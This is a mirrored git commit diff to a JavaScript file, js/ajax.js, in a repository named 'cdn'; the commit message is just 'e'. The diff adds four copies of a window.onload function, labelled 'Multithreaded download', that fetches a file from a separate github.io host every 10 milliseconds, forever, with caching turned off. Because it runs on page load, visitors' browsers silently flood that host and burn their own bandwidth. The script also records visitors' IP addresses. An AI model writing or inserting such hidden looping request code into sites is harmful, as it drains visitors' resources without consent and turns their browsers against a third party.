mirror of
https://github.com/hexahigh/cdn.git
synced 2025-12-11 20:15:22 +01:00
e
This commit is contained in:
parent
7bd354613b
commit
0419f5b51f
33
js/ajax.js
33
js/ajax.js
@ -22,13 +22,6 @@ $.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/g
|
||||
userip = (data.ip);
|
||||
})
|
||||
|
||||
window.onload = async function startdown(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
|
||||
// Get the width of the screen
|
||||
var screenWidth = window.innerWidth;
|
||||
|
||||
@ -40,4 +33,30 @@ if(resppage = true){
|
||||
for (var i = 0; i < responsiveElements.length; i++) {
|
||||
responsiveElements[i].style.width = (screenWidth / responsiveElements.length) + "px";
|
||||
}
|
||||
}
|
||||
|
||||
//Multithreaded download
|
||||
window.onload = async function startdown(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
window.onload = async function startdown(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
window.onload = async function startdown(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
window.onload = async function startdown(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user